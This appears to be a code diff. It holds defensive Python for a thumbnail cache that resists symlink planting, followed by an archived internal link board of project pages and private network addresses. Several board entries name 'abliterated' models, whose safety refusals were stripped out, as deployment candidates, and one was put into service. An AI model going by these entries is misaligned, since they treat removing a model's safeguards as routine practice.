THE WHOLE RULE IS IN THE NAME: width, height cap, quality and an encoding
|
||||
version. The freshness check below only notices a changed source, so a
|
||||
thumbnail cut to an older rule would otherwise be served forever. A change
|
||||
to any of them is a cache miss, and the old files are orphans swept with
|
||||
their booth."""
|
||||
rule = f"{THUMB_WIDTH}x{THUMB_HEIGHT_MAX}q{THUMB_QUALITY}v{THUMB_VERSION}"
|
||||
return booth / THUMB_DIR / f"{rel}.{rule}.webp"
|
||||
|
||||
|
||||
def wants_thumb(rel: str) -> bool:
|
||||
"""Whether a rel is a candidate at all — extension only, no file read.
|
||||
|
||||
Called from the resolver for every item on every index load, so it must not
|
||||
touch the disk."""
|
||||
return Path(rel).suffix.lower() in THUMBABLE
|
||||
|
||||
|
||||
def _fresh(out: Path, s_stat: os.stat_result) -> bool:
|
||||
"""A cache hit: a REGULAR file (lstat, so a link or a directory planted at
|
||||
the name never counts) carrying its source's EXACT mtime. Exact, not
|
||||
"at least as new": a source replaced by `cp -p` or an archive extract keeps
|
||||
an OLDER stamp, and `>=` served the old thumbnail forever."""
|
||||
try:
|
||||
o = os.lstat(out)
|
||||
except OSError:
|
||||
return False
|
||||
return stat.S_ISREG(o.st_mode) and o.st_mtime_ns == s_stat.st_mtime_ns
|
||||
|
||||
|
||||
def _cache_dir(booth: Path, parent: Path) -> bool:
|
||||
"""Make `parent` (a directory under `booth`) exist as REAL directories,
|
||||
component by component, never following a link. False when something that
|
||||
is not a directory is in the way: a `.thumbs` planted as a link would
|
||||
otherwise put the cache outside the booth, beyond the sweep.
|
||||
|
||||
⚠ CREATING `.thumbs` TOUCHES THE BOOTH DIRECTORY'S OWN MTIME, and
|
||||
`_newest_mtime` seeds from exactly that — so merely LOOKING at a booth aged
|
||||
it, and once the Desk pulls a thumbnail per booth, one index load would push
|
||||
every expiry out and the TTL would never fire again. Excluding the cache's
|
||||
CONTENTS is not enough; the directory entry is the leak. So the booth's
|
||||
mtime is put back after `.thumbs` is made. That cannot hide real activity:
|
||||
any file an agent adds is counted by its OWN mtime in the same walk, and the
|
||||
directory stamp is only the seed."""
|
||||
cur = booth
|
||||
for part in parent.relative_to(booth).parts:
|
||||
cur = cur / part
|
||||
try:
|
||||
if not stat.S_ISDIR(os.lstat(cur).st_mode):
|
||||
return False
|
||||
continue
|
||||
except FileNotFoundError:
|
||||
pass
|
||||
restore = booth.stat() if cur.parent == booth else None
|
||||
try:
|
||||
os.mkdir(cur)
|
||||
except FileExistsError:
|
||||
pass
|
||||
if restore is not None:
|
||||
try:
|
||||
os.utime(booth, ns=(restore.st_atime_ns, restore.st_mtime_ns))
|
||||
except OSError:
|
||||
pass
|
||||
if not stat.S_ISDIR(os.lstat(cur).st_mode):
|
||||
return False
|
||||
return True
|
||||
|
||||
|
||||
def ensure_thumb(booth: Path, rel: str) -> Path | None:
|
||||
"""The cached thumbnail for `rel`, generating it if needed. None when there
|
||||
should not be one — Pillow absent, unsupported type, source already
|
||||
tile-sized and light, an animation that already fits (a thumbnail is one
|
||||
frame; an animation too big to fit IS flattened), over the pixel budget,
|
||||
something planted in the cache's way, or anything at all went wrong.
|
||||
|
||||
NEVER RAISES. A thumbnail is an optimisation; a booth page that will not
|
||||
load is worse than a page that loads slowly, which is the posture every
|
||||
other read on this path already takes.
|
||||
"""
|
||||
if _Image is None or not wants_thumb(rel):
|
||||
return None
|
||||
src = booth / rel
|
||||
out = thumb_path(booth, rel)
|
||||
try:
|
||||
s_stat = src.stat()
|
||||
if _fresh(out, s_stat):
|
||||
return out
|
||||
|
||||
with _Image.open(src) as im:
|
||||
# `open` reads the header only, so this is cheap enough to decide on.
|
||||
w, h = im.size
|
||||
if w * h > THUMB_MAX_PIXELS:
|
||||
return None
|
||||
# The size the picture is SEEN at: a camera stores a portrait
|
||||
# sideways and says so in EXIF, and the browser honours it on the
|
||||
# original. Pillow does not, so sizing the raw pixels tiled a
|
||||
# portrait as a landscape (groa, seat-verified).
|
||||
orientation = im.getexif().get(0x0112, 1)
|
||||
if orientation in (5, 6, 7, 8):
|
||||
w, h = h, w
|
||||
fits = w <= THUMB_WIDTH and h <= THUMB_HEIGHT_MAX
|
||||
if fits and (s_stat.st_size <= THUMB_LIGHT_BYTES or getattr(im, "is_animated", False)):
|
||||
return None # already tile-sized and cheap (or moving): serve the original
|
||||
if orientation != 1:
|
||||
im = _ImageOps.exif_transpose(im)
|
||||
im.thumbnail((THUMB_WIDTH, THUMB_HEIGHT_MAX))
|
||||
if im.mode not in ("RGB", "RGBA"):
|
||||
# A palette PNG carries transparency in `info`, not as a band:
|
||||
# `getbands()` alone baked it opaque (3/4 arms, seat-executed).
|
||||
alpha = "A" in im.getbands() or "transparency" in im.info
|
||||
im = im.convert("RGBA" if alpha else "RGB")
|
||||
if not _cache_dir(booth, out.parent):
|
||||
return None
|
||||
# Atomic, like every other sidecar this service writes, through a
|
||||
# temp file created O_EXCL under an unpredictable name: the old
|
||||
# `<out>.<pid>.tmp` could be planted as a link, and the encoder
|
||||
# wrote THROUGH it (seat P5: 600 B -> 316,400 B).
|
||||
fd, tmp = tempfile.mkstemp(prefix=".", suffix=".tmp", dir=out.parent)
|
||||
try:
|
||||
with os.fdopen(fd, "wb") as fh:
|
||||
im.save(fh, "WEBP", quality=THUMB_QUALITY, method=4)
|
||||
os.utime(tmp, ns=(s_stat.st_atime_ns, s_stat.st_mtime_ns))
|
||||
os.replace(tmp, out)
|
||||
finally:
|
||||
try:
|
||||
os.unlink(tmp)
|
||||
except OSError:
|
||||
pass
|
||||
return out if _fresh(out, s_stat) else None
|
||||
except Exception: # noqa: BLE001 — a bad image costs its own tile, never the page
|
||||
return None
|
||||
@@ -0,0 +1,234 @@
|
||||
# Standing link board — verbatim archive, 2026-09-22
|
||||
|
||||
Captured before U6 (benches) shipped, per the ROADMAP rule that a migration
|
||||
destroys nothing. 221 rows: 178 booth URLs (156 of them pointing at booths
|
||||
already swept) and 43 non-booth rows, 35 distinct after normalization.
|
||||
|
||||
U6 itself deletes NOTHING — the dead rows are marked and removal stays the
|
||||
operator's two clicks. This archive exists so the board is recoverable
|
||||
off-box once he starts pruning, and so the measurements above are checkable
|
||||
against the bytes they were taken from.
|
||||
|
||||
```markdown
|
||||
- [LRPG Authoring Studio — live demo endpoint (ldp-saga)](http://10.100.10.50:8321/Authoring%20Studio.dc.html) <sub>· ldp-dev · 2026-08-19 10:04</sub>
|
||||
- [LRPG GM Player — live demo endpoint (ldp-saga; open in iPhone Safari for native)](http://10.100.10.50:8321/GM%20Playback.dc.html) <sub>· ldp-dev · 2026-08-19 10:04</sub>
|
||||
- [Scriberr — self-hosted transcription + speaker diarization (ana-ml2 GPU1); also http://10.250.50.54:8080](http://scriberr.ana.internal:8080/) <sub>· infra-ops · 2026-08-23 19:31</sub>
|
||||
- [talk — chat with a fleet voice (HTTPS, trusted cert, no warning)](https://talk.nh3.phasefinal.com:8092/) <sub>· tts-dev · 2026-09-06 23:35</sub>
|
||||
- [YTVC noise floor A/B — raw vs shipped vs +75 Hz high-pass (2 clips)](http://10.100.10.50:8090/b/ytvc-noise/) <sub>· yt-voice-clipper-dev · 2026-09-09 10:58</sub>
|
||||
- [the interview noise floor measured — denoise BEFORE distilling carries 4x better](http://10.100.10.50:8090/b/noise-floor/) <sub>· tts-dev · 2026-09-09 11:00</sub>
|
||||
- [the 5 distillation sources staged for professional denoising — drop back as <name>-clean.wav](http://10.100.10.50:8090/b/denoise-in/) <sub>· tts-dev · 2026-09-09 11:01</sub>
|
||||
- [hamr: the sliver lever + mutual-block pairing -- the operator four sites at two lever settings (2026-09-09)](http://10.100.10.50:8090/b/hamr-sliver-lever/) <sub>· nh3-dev · 2026-09-09 11:13</sub>
|
||||
- [YTVC subtractive denoiser audition — raw vs RNNoise vs DeepFilterNet 3 vs anlmdn, 2 clips + numbers](http://10.100.10.50:8090/b/ytvc-denoise/) <sub>· yt-voice-clipper-dev · 2026-09-09 11:13</sub>
|
||||
- [denoise-in — 5 clone sources handed to yt-voice-clipper-dev for a proper deep denoise pass](http://10.100.10.50:8090/b/denoise-in/) <sub>· tts-dev · 2026-09-09 12:49</sub>
|
||||
- [hamr: why the gear circle and peak edges read rough -- source vs output vs difference, measured (2026-09-09)](http://10.100.10.50:8090/b/hamr-rough-edges/) <sub>· nh3-dev · 2026-09-09 12:52</sub>
|
||||
- [hamr: CLEAN mode rendered on six marks -- and the 1024-vs-4096 test showing my instrument was under-resolved (2026-09-09)](http://10.100.10.50:8090/b/hamr-clean-mode/) <sub>· nh3-dev · 2026-09-09 13:29</sub>
|
||||
- [denoise A/B — 5 sources before/after, level-matched; emmie regressed](http://10.100.10.50:8090/b/denoise-ab/) <sub>· tts-dev · 2026-09-09 13:56</sub>
|
||||
- [REDO step 1 — pick anchors for lawson/jo/nichols/ana on the cleaned sources (one form)](http://10.100.10.50:8090/b/redo-anchors/asks) <sub>· tts-dev · 2026-09-09 14:01</sub>
|
||||
- [hamr: the sliver lever re-rendered at 4x -- the operator width's chunk is real geometry and 7x the default's edge residual (open ask: lever-default)](http://10.100.10.50:8090/b/hamr-sliver-lever/) <sub>· hamr-dev · 2026-09-09 14:31</sub>
|
||||
- [hamr: the golden corpus re-rendered at 4x -- the 1024 px instrument inflated edge roughness by 80% on a reading it could not resolve; the colour numbers were never affected](http://10.100.10.50:8090/b/hamr-corpus-4x/) <sub>· hamr-dev · 2026-09-09 14:44</sub>
|
||||
- [REDO step 2 — lawson register picks on the cleaned source (7 inline)](http://10.100.10.50:8090/b/redo-lawson/) <sub>· tts-dev · 2026-09-09 14:49</sub>
|
||||
- [REDO step 2 — jo register picks on the cleaned source (7 inline)](http://10.100.10.50:8090/b/redo-jo/) <sub>· tts-dev · 2026-09-09 14:49</sub>
|
||||
- [REDO step 2 — nichols register picks on the cleaned source (7 inline)](http://10.100.10.50:8090/b/redo-nichols/) <sub>· tts-dev · 2026-09-09 14:49</sub>
|
||||
- [REDO step 2 — ana register picks on the cleaned source (7 inline)](http://10.100.10.50:8090/b/redo-ana/) <sub>· tts-dev · 2026-09-09 14:49</sub>
|
||||
- [lawson warm rescue — seed axis vs instruction axis (warm is the corpus's untuned string)](http://10.100.10.50:8090/b/lawson-warm/) <sub>· tts-dev · 2026-09-09 15:04</sub>
|
||||
- [bank denoise vs source redo — v3+DN hits 49.8 dB; may make the whole redo unnecessary](http://10.100.10.50:8090/b/bank-denoise/) <sub>· tts-dev · 2026-09-09 15:16</sub>
|
||||
- [bank denoise A/B — lawson +26 dB, jo +21 dB; 4 of 10 banks would be DAMAGED by it](http://10.100.10.50:8090/b/bank-dn-ab/) <sub>· tts-dev · 2026-09-09 15:31</sub>
|
||||
- [Margaery step 1 — anchor picks; ⚠ 15.44s single-clip source, thinnest yet](http://10.100.10.50:8090/b/margaery-anchor/) <sub>· tts-dev · 2026-09-09 15:43</sub>
|
||||
- [hamr: 1-2 px regions -- the operator's hue/lightness rule separates 10-25x on his own artwork; lightness does the work; the eye survives at today's default](http://10.100.10.50:8090/b/hamr-thin-regions/) <sub>· hamr-dev · 2026-09-09 15:44</sub>
|
||||
- [pewpewstudio web UI restyled on PowerPellet (arcade design system): every screen, dark + daylight (2026-09-09)](http://10.100.10.50:8090/b/pewpew-powerpellet/) <sub>· pewpew-dev · 2026-09-09 15:47</sub>
|
||||
- [Margaery — 7 registers x 5 seeds, pick one per register (step 2 of 3)](http://10.100.10.50:8090/b/margaery-registers/) <sub>· tts-dev · 2026-09-09 16:03</sub>
|
||||
- [Margaery — denoise A/B on the spliced bank (step 3 of 3)](http://10.100.10.50:8090/b/margaery-denoise/) <sub>· tts-dev · 2026-09-09 16:19</sub>
|
||||
- [hamr: the blend-distance gate landed -- the crest's eye ring survives STRIP_WIDTH, the gear's rims and peak's dark-teal strip still go](http://10.100.10.50:8090/b/hamr-thin-regions/) <sub>· hamr-dev · 2026-09-09 17:10</sub>
|
||||
- [Breeze — probing the 7 unused direction axes (vendor instructions verbatim)](http://10.100.10.50:8090/b/breeze-axes/) <sub>· tts-dev · 2026-09-09 17:11</sub>
|
||||
- [ERP run 7 decision brief — gate failure, exposure, 5 decisions awaiting Vuong](http://10.100.10.50:8090/b/run07-decisions/) <sub>· infra-ops · 2026-09-09 18:10</sub>
|
||||
- [R47 tune line runs 4-7 — run 7: length FLAT, RP shape markers moved (quote-first 29%→15%)](http://10.100.10.50:8090/b/r47-runs/) <sub>· brokkr-smithy-dev · 2026-09-09 18:46</sub>
|
||||
- [hamr: the blend gate rendered -- the crest's eye ring comes back at STRIP_WIDTH, the gear's rims and peak's strip still go](http://10.100.10.50:8090/b/hamr-thin-regions/) <sub>· hamr-dev · 2026-09-09 18:52</sub>
|
||||
- [Tag sweep redone — leak test = vocabulary test; the ear questions](http://10.100.10.50:8090/b/tag-sweep/) <sub>· tts-dev · 2026-09-09 22:49</sub>
|
||||
- [hamr henge/66 peak: which site is 'the chunk' -- ask + the four candidate sites](http://10.100.10.50:8090/b/hamr-henge66-peak/) <sub>· hamr-dev · 2026-09-09 23:13</sub>
|
||||
- [Chunk seams A/B — paragraph-only chunking, and the render ceiling is lower than we thought](http://10.100.10.50:8090/b/chunk-seams/) <sub>· tts-dev · 2026-09-09 23:29</sub>
|
||||
- [hamr peak: the operator's chunk (the small peak's left face) -- under the size levers, before/after the apex unit](http://10.100.10.50:8090/b/hamr-peak-left-face/) <sub>· hamr-dev · 2026-09-10 07:26</sub>
|
||||
- [hamr: the peak's halo -- the tint reach null, the sliver lever, the support rule (henge/66 third rule)](http://10.100.10.50:8090/b/hamr-peak-halo/) <sub>· hamr-dev · 2026-09-10 07:58</sub>
|
||||
- [Level decay is LENGTH-driven, not soft/whisper — every direction collapses at 1400 chars](http://10.100.10.50:8090/b/level-decay/) <sub>· tts-dev · 2026-09-10 08:47</sub>
|
||||
- [BabyBronte voice A/B — base vs H02 LoRA on 9 neutral prompts, 2 seeds each](http://10.100.10.50:8090/b/babybronte-voice/) <sub>· infra-ops · 2026-09-10 15:08</sub>
|
||||
- [hamr: the 2.5 fold -- frame closing fix, the O(N) vote (byte-identical peak), the VMDE engine document read against hamr](http://10.100.10.50:8090/b/hamr-2-5-fold/) <sub>· hamr-dev · 2026-09-10 15:57</sub>
|
||||
- [hamr: the region-energy segmenter spike (henge 71) -- the Potts prior in the vote's seat, against the landed 2.5](http://10.100.10.50:8090/b/hamr-region-energy/) <sub>· hamr-dev · 2026-09-10 16:05</sub>
|
||||
- [BabyBronte rung 2 — 1.7B base vs 1.7B tuned vs 0.6B tuned, 9 prompts, 2 seeds](http://10.100.10.50:8090/b/babybronte-1p7b/) <sub>· infra-ops · 2026-09-10 22:38</sub>
|
||||
- [hamr: the state of the pipeline at c18c4e1 (v1.3.0 + the hygiene unit) -- seven reference marks and the synthetic corpus, source | 1x | 4x](http://10.100.10.50:8090/b/hamr-state-2026-09-11/) <sub>· hamr-dev · 2026-09-10 23:20</sub>
|
||||
- [BabyBronte rung 3 — 4B base vs 4B tuned vs 1.7B tuned, + the Abernathy frame prompt](http://10.100.10.50:8090/b/babybronte-4b/) <sub>· infra-ops · 2026-09-11 05:35</sub>
|
||||
- [bragi :8196 — the fleet direction layer, LIVE 2026-09-11 (U1 null director, +2.32ms TTFA cost, cap 6400)](http://irv-ml1.nh3.internal:8196/health) <sub>· nh3-dev · 2026-09-11 05:47</sub>
|
||||
- [BabyBronte rung 3 (step-75 recut) — 4B base vs 4B tuned vs 1.7B, + frame and embedded-instruction prompts](http://10.100.10.50:8090/b/babybronte-4b/) <sub>· infra-ops · 2026-09-11 05:54</sub>
|
||||
- [Bragi U2 spike — blinded 5-arm fast-director audition, 7 inline asks, ear verdict gates U2](http://10.100.10.50:8090/b/bragi-u2-spike/) <sub>· nh3-dev · 2026-09-11 06:00</sub>
|
||||
- [Skaldsong beat→paragraph — 10 formats on the adapted 4B vs an instruct model, + stitched story](http://10.100.10.50:8090/b/skaldsong-beats/) <sub>· infra-ops · 2026-09-11 06:24</sub>
|
||||
- [hamr state booth at a7ee4ab: seven reference marks + sixteen synthetic cases, source | 1x | 4x, after the ridge-order and test-hygiene units](http://10.100.10.50:8090/b/hamr-state-2026-09-11-a7ee4ab/) <sub>· hamr-dev · 2026-09-11 08:41</sub>
|
||||
- [hamr state booth, clean mode default (colour_geometry 3.13): only the crest's white tick changes against a7ee4ab](http://10.100.10.50:8090/b/hamr-state-2026-09-11-clean/) <sub>· hamr-dev · 2026-09-11 10:23</sub>
|
||||
- [hamr run_smoothing 2.2, the corner core: circuit/gear/peak/crest/vastblue at the new corner rule, with corner overlays](http://10.100.10.50:8090/b/hamr-corner-core/) <sub>· hamr-dev · 2026-09-11 11:12</sub>
|
||||
- [hamr regularizer 3.0, the run solve (U7 on runs): circuit/gear/peak/crest/vastblue after the stretch pool and solve, with the circuit site the first form broke](http://10.100.10.50:8090/b/hamr-run-solve/) <sub>· hamr-dev · 2026-09-11 13:50</sub>
|
||||
- [hamr regularizer 3.1, the junction at the meet: the circuit's pads 3.0 vs 3.1 and the five marks](http://10.100.10.50:8090/b/hamr-run-solve-31/) <sub>· hamr-dev · 2026-09-11 15:02</sub>
|
||||
- [BabyYarros eval — voice A/B + beat→paragraph + delta_cb (Base@125 vs Instruct vs base control)](http://10.100.10.50:8090/b/babyyarros-voice/) <sub>· infra-ops · 2026-09-11 15:59</sub>
|
||||
- [bifrost 1.2.0 on the gitea PyPI index — wire v0.8 memory.* record profile (#17)](https://gitea.phasefinal.com/vh/-/packages/pypi/bifrost/1.2.0) <sub>· bifrost-dev · 2026-09-11 16:58</sub>
|
||||
- [bifrost #17 — wire v0.8 record profile (adoption arc, gates, release)](https://gitea.phasefinal.com/vh/bifrost/issues/17) <sub>· bifrost-dev · 2026-09-11 16:58</sub>
|
||||
- [bifrost 1.2.1 — supplement-fold patch (explicit record-engine guards; descriptor ownership boundary)](https://gitea.phasefinal.com/vh/-/packages/pypi/bifrost/1.2.1) <sub>· bifrost-dev · 2026-09-11 17:32</sub>
|
||||
- [BabyYarros — Janis beat: 4 prompt arms x 4 seeds, beat->paragraph formula fitting](http://10.100.10.50:8090/b/babyyarros-janis/) <sub>· infra-ops · 2026-09-11 21:15</sub>
|
||||
- [hamr on five fresh arbo marks (owl, bee, rocket, wolf, lantern) -- landed pipeline, clean mode, 1x + 4x](http://10.100.10.50:8090/b/hamr-arbo-logos/) <sub>· hamr-dev · 2026-09-11 22:35</sub>
|
||||
- [FV colo on-site playbook — print before the trip (OPNsense + fv-ml1, anti-lockout)](http://10.100.10.50:8090/b/fv-onsite/) <sub>· infra-ops · 2026-09-12 07:54</sub>
|
||||
- [hamr arbo marks AFTER colour_decomposition 2.10 (the interior-ends tint reading): owl before/after, the four others byte-identical](http://10.100.10.50:8090/b/hamr-arbo-logos-2/) <sub>· hamr-dev · 2026-09-12 07:55</sub>
|
||||
- [hamr: the midline rule (colour_geometry 3.14) on the owl -- source | before | midline | far, 4x, and the runs the instrument flagged](http://10.100.10.50:8090/b/hamr-midline/) <sub>· hamr-dev · 2026-09-12 22:18</sub>
|
||||
- [Qwen3.8-Flash-Next ABLITERATED NVFP4 + FP8 PLE — candidate for the fv-ml1 single-card gen seat](https://huggingface.co/dealignai/Qwen3.8-Flash-Next-ABLITERATED-NVFP4) <sub>· infra-ops · 2026-09-12 22:21</sub>
|
||||
- [vLLM canonical Qwen3.8-Flash-Next recipe — PLE CPU-offload + the don't-enable-MTP measurement](https://recipes.vllm.ai/Qwen/Qwen3.8-Flash-Next/) <sub>· infra-ops · 2026-09-12 22:21</sub>
|
||||
- [hamr: FAR shipped (colour_geometry 3.16) -- the five arbo marks before | after at 4x, and the per-run instrument](http://10.100.10.50:8090/b/hamr-far/) <sub>· hamr-dev · 2026-09-13 00:13</sub>
|
||||
- [hamr: edge-pixel rule spike -- census overlays (third-layer boundary pixels, green explained / red not) and the geometry arms](http://10.100.10.50:8090/b/hamr-edge-pixels/) <sub>· hamr-dev · 2026-09-13 09:28</sub>
|
||||
- [hamr: colour_geometry 3.17 the line clause -- crest eye ring gone, lens kept; owl / circuit / lantern byte-identical at 4x](http://10.100.10.50:8090/b/hamr-width-clause/) <sub>· hamr-dev · 2026-09-13 14:00</sub>
|
||||
- [hamr: the golden corpus at colour_geometry 3.17 (the line clause) -- seven reference marks, faces and runs, source | 1x | 4x](http://10.100.10.50:8090/b/hamr-corpus-3.17/) <sub>· hamr-dev · 2026-09-13 16:53</sub>
|
||||
- [hamr: the DXF cut document beside the SVG runs profile on the seven corpus marks (source | SVG | DXF, 1x and 4x zooms; .dxf files alongside)](http://10.100.10.50:8090/b/hamr-dxf/) <sub>· hamr-dev · 2026-09-13 23:18</sub>
|
||||
- [Flash-Next gen-large candidate #1: abliterated + W4A16 weight-only experts + FP8 PLE; blocked only by a missing ple_embedding_dtype config key](https://huggingface.co/gorbatjovy/qwen3.8-flash-next-abliterated-NVFP4-plefp8) <sub>· infra-ops · 2026-09-14 02:16</sub>
|
||||
- [Flash-Next gen-large candidate #2: fully weight-only (W4A16 experts + FP8_PB_WO dense), loads as-is, but NOT abliterated](https://huggingface.co/lovedheart/Qwen3.8-Flash-Next-NVFP4-W4A16-4-Over-6-FP8) <sub>· infra-ops · 2026-09-14 02:16</sub>
|
||||
- [cyberprev-27b — abliterated Qwen3.8-27B sec seat (fv-ml1 GPU0, dflash k=7), replaced sentinel-r3](http://10.251.50.54:8025/docs) <sub>· infra-ops · 2026-09-14 04:29</sub>
|
||||
- [hamr-server 1.5: the SPA booth pass with Download DXF (state 08b) and the refused-selection state re-pinned to server 1.6](http://10.100.10.50:8090/b/hamr-server-1.5/) <sub>· hamr-dev · 2026-09-14 10:22</sub>
|
||||
- [hamr web front end UI brief (requirements and flow for a design system; also docs/design/ui-brief.md)](https://claude.ai/code/artifact/eae98fde-784b-4f4d-b0e3-c87a229da564) <sub>· hamr-dev · 2026-09-14 10:25</sub>
|
||||
- [https://claude.ai/code/artifact/eae98fde-784b-4f4d-b0e3-c87a229da564](https://claude.ai/code/artifact/eae98fde-784b-4f4d-b0e3-c87a229da564) <sub>· hamr-dev · 2026-09-14 10:25</sub>
|
||||
- [hamr web front end UI brief, boothed (kept): index.html + ui-brief.md](http://10.100.10.50:8090/b/hamr-ui-brief/) <sub>· hamr-dev · 2026-09-14 10:56</sub>
|
||||
- [pewpewstudio web front end UI brief, boothed (kept): index.html + ui-brief.md + the integration package (tarball + fixtures)](http://10.100.10.50:8090/b/pewpew-ui-brief/) <sub>· pewpew-dev · 2026-09-14 12:42</sub>
|
||||
- [pewpewstudio web front end UI brief (flow, shape, requirements for a design agent; also docs/design/ui-brief.md)](https://claude.ai/code/artifact/281bcdc7-bcce-46d7-b0ca-ec90df22151f) <sub>· pewpew-dev · 2026-09-14 12:42</sub>
|
||||
- [Headscale: Tailscale setup for macOS/iOS/tvOS — GUI steps + downloadable config profiles](https://headscale.phasefinal.com/apple) <sub>· infra-ops · 2026-09-14 13:49</sub>
|
||||
- [pewpewstudio: the UI blueprint vendored (Claude Design handoff from booth 28-indigo) -- provenance, state inventory, fidelity notes; source at docs/design/blueprint/](http://10.100.10.50:8090/b/pewpew-ui-brief/blueprint/README.md) <sub>· pewpew-dev · 2026-09-14 18:38</sub>
|
||||
- [pewpewstudio web: the blueprint implemented -- one still per surface per state (67), cabinet + daylight](http://10.100.10.50:8090/b/pewpew-blueprint/) <sub>· pewpew-dev · 2026-09-14 20:55</sub>
|
||||
- [hamr: the C kernel for the cubic fit -- where its geometry differs from 2.4 (4x panels) and the ask on the gate](http://10.100.10.50:8090/b/hamr-cubic-kernel/) <sub>· hamr-dev · 2026-09-14 22:28</sub>
|
||||
- [Homepage — Parakeet ASR card now live under AI - Audio Tools (fv-ml1 GPU 3, :8300)](http://10.0.50.45:5100/) <sub>· nh3-dev · 2026-09-15 01:41</sub>
|
||||
- [talk v10 — Sindra with ears: push-to-talk STT via ext-stt + barge-in (nh3-dev)](https://talk.nh3.phasefinal.com:8092/) <sub>· nh3-dev · 2026-09-15 08:27</sub>
|
||||
- [talk v10 — the fleet speaks AND listens (Grima push-to-talk + barge-in)](https://talk.nh3.phasefinal.com:8092/) <sub>· nh3-dev · 2026-09-15 08:28</sub>
|
||||
- [Open-weight releases landscape scan 2026-09-15 — LLM/image/TTS, ranked + licenses verified](https://gitea.phasefinal.com/vh/brokkr-smithy/src/commit/6adcde6/research/landscape-scans/open-weight-releases-2026-09-15.md) <sub>· brokkr-scan-dev · 2026-09-15 09:20</sub>
|
||||
- [ldp-saga — voice-over step with authored words: GM stage (iPhone) + Studio drawer screenshots](http://10.100.10.50:8090/b/ldp-vo-body/) <sub>· ldp-dev · 2026-09-15 11:31</sub>
|
||||
- [talk PREVIEW (v11 unreleased) — kiosk persona + prompt library + hands-free VAD; http so no mic](http://10.100.10.50:8095/) <sub>· nh3-dev · 2026-09-15 14:08</sub>
|
||||
- [talk v12 LIVE — hands-free VAD + 4 personas (assistant/sindra/narrator/kiosk) + Grima STT](https://talk.nh3.phasefinal.com:8092/) <sub>· nh3-dev · 2026-09-15 14:13</sub>
|
||||
- [talk v12 — internal IP (accept the cert warning; wildcard covers names, not IPs). Hands-free + 4 personas.](https://10.100.10.50:8092/) <sub>· nh3-dev · 2026-09-15 14:18</sub>
|
||||
- [hamr circuit: census of thin surviving regions, source|1x|4x per site (2026-09-16)](http://10.100.10.50:8090/b/hamr-circuit-slivers/) <sub>· hamr-dev · 2026-09-15 15:03</sub>
|
||||
- [hamr circuit: the full cut file (SVG runs profile + DXF) on white, 1x and 4x whole (2026-09-16)](http://10.100.10.50:8090/b/hamr-dxf/) <sub>· hamr-dev · 2026-09-15 15:10</sub>
|
||||
- [hamr owl (arbo 00-seed7777): the full cut file on white, 1x and 4x (2026-09-16)](http://10.100.10.50:8090/b/hamr-owl-cut/) <sub>· hamr-dev · 2026-09-15 15:17</sub>
|
||||
- [hamr circuit: the ten arrowed sites (possum-51), source | faces 4x | runs 4x, with the runs and junctions at each (2026-09-16)](http://10.100.10.50:8090/b/hamr-circuit-arrows/) <sub>· hamr-dev · 2026-09-15 15:17</sub>
|
||||
- [hamr: the owl before/after the shade rule (colour_decomposition 2.12), the four arrowed sites at 1x and 4x](http://10.100.10.50:8090/b/hamr-owl-shades/) <sub>· hamr-dev · 2026-09-15 20:01</sub>
|
||||
- [hamr unit 2: the circuit's edge teeth before/after (colour_geometry 3.27) -- the ten arrowed sites and two interior seam sites, SOURCE | before | after at 1x and 4x](http://10.100.10.50:8090/b/hamr-circuit-teeth/) <sub>· hamr-dev · 2026-09-15 22:57</sub>
|
||||
- [hamr 3.27: every thin excursion the clause reads on twenty marks at the pixel bar (175 panels; GOES/stays in each caption)](http://10.100.10.50:8090/b/hamr-excursions-f10/) <sub>· hamr-dev · 2026-09-15 22:57</sub>
|
||||
- [BabyYarros beat→paragraph: same beat, 4 arms (base / raw-text / pair-SFT 2ep / 3ep)](http://10.100.10.50:8090/b/babyyarros-beats/) <sub>· infra-ops · 2026-09-16 07:29</sub>
|
||||
- [hamr v2 S0: the smoother's chain vs potrace's fallback on every refused mono node of the eight marks, worst site per node at 4x (2026-09-16)](http://10.100.10.50:8090/b/hamr-v2-s0-smoother/) <sub>· hamr-dev · 2026-09-16 08:55</sub>
|
||||
- [hamr U0 — the truth-corpus acceptance gate: 24 conditions, potrace 3x vs the extractor's iso-contours, table + overlays at 1x and 4x](http://10.100.10.50:8090/b/hamr-u0-acceptance/) <sub>· hamr-dev · 2026-09-16 11:11</sub>
|
||||
- [hamr acceptance 1.2 verdict table -- 24 conditions, three arms over the raster per condition (from hamr-dev's fold of two Heid panels)](http://10.100.10.50:8090/b/hamr-u0-acceptance/) <sub>· heid · 2026-09-16 11:17</sub>
|
||||
- [Assistant voice — accent calibration: 7 endpoints from the existing battery, inline ask](http://10.100.10.50:8090/b/assistant-accent/) <sub>· nh3-dev · 2026-09-16 11:18</sub>
|
||||
- [Assistant voice — the blend n=5, matched-seed triples vs both endpoints](http://10.100.10.50:8090/b/assistant-blend/) <sub>· nh3-dev · 2026-09-16 11:20</sub>
|
||||
- [Peedlar repo (photo → eBay/FB Marketplace listing metadata) — minted 2026-09-16](https://gitea.phasefinal.com/vh/peedlar) <sub>· nh3-dev · 2026-09-16 11:26</sub>
|
||||
- [Sun and Sea Pro — concept tiles A/B/C + the rulings ask (design-systems)](http://10.100.10.50:8090/b/sunsea/) <sub>· design-dev · 2026-09-16 11:35</sub>
|
||||
- [Peedlar — UI design brief + northstar/frame/invariants/interview record (vor-ui pass 2026-09-16)](http://10.100.10.50:8090/b/peedlar-design-brief/) <sub>· peedlar-dev · 2026-09-16 14:01</sub>
|
||||
- [hamr U1 the tracer skeleton (tracer 3.0): the v2 tree over the eight marks with ids and holes, potrace beside it, 4x windows, the rule fixtures](http://10.100.10.50:8090/b/hamr-u1-tracer/) <sub>· hamr-dev · 2026-09-16 14:23</sub>
|
||||
- [Peedlar — vor-plan draft bundle (plan, frame, invariants, northstar, record) for teardown, 2026-09-16](http://10.100.10.50:8090/b/peedlar-plan-draft/) <sub>· peedlar-dev · 2026-09-16 16:17</sub>
|
||||
- [Peedlar — spike R-4 report: gen schema adherence, 180/180 valid (2026-09-16)](http://10.100.10.50:8090/b/peedlar-spike-r4/) <sub>· peedlar-dev · 2026-09-16 17:18</sub>
|
||||
- [hamr U2 (ir 7.0): the mono SVG before/after the IR moved onto points, eight marks, 1x and 4x](http://10.100.10.50:8090/b/hamr-u2-ir/) <sub>· hamr-dev · 2026-09-16 17:22</sub>
|
||||
- [JackDAW audition bench — live HEAD of main (self-signed HTTPS, one-time trust prompt)](https://10.100.10.50:4500/) <sub>· jackdaw-dev · 2026-09-16 18:32</sub>
|
||||
